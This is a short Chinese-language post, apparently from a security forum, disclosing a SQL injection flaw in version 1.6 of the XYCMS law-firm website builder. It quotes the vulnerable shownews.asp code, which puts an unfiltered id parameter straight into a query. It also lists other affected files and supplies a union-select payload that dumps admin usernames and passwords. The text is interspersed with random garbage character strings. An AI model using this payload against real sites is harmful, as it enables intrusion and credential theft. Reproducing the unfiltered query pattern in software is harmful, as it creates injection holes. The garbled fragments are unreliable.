XYCMS律师事务所建站系统注入漏洞

admin

前言：刚才蛋疼无聊下载了审计下,就稍微的看了下，漏洞太多。ps：跟有个投稿的板块文章有点类似

3 _1 O0 z) k. P. @淫荡分割线
--------------------------------------------------------
6 e' m) L. v: U; U
1 J; \( B) g# X9 G审计版本：XYCMS律师事务所建站系统 v1.6(其他版本自测)
源码地址:http://down.chinaz.com/soft/29233.htm

漏洞文件:shownews.asp
; ^7 K. ^3 V6 @" l漏洞代码：7-13行

, h" o: A5 ~$ D. E5 ~- |
0 H( ?; P9 k' @1 s: i0 A8 x  X<%
* R0 l, P% L. Y0 r3 ]% @id=request.QueryString("id")
   
set snews=server.createobject("adodb.recordset")
exec="select * from [news] where id="&id
snews.open exec,conn,1,1
%>
+ N. T8 ]% p$ n1 X! G- @6 d
! S: ]- ^! a& z7 W0 U7 p+ t
什么过滤都没有  直造成注入

注入点:http://127.0.0.1:99/shownews.asp?id=xx

* T5 _8 R# P* j: u+ B+ I* Q9 r+ }4 r其余相同漏洞文件:showdxal.asp,showfwly.asp 等等自己找
/ @. q8 H9 i2 O
! k8 n# b) C2 e3 s
exp: union select 1,admin,password,4,5,7 from admin_user
​
6 Y# o0 S' Q' g+ E( s* _, Y9 p5 q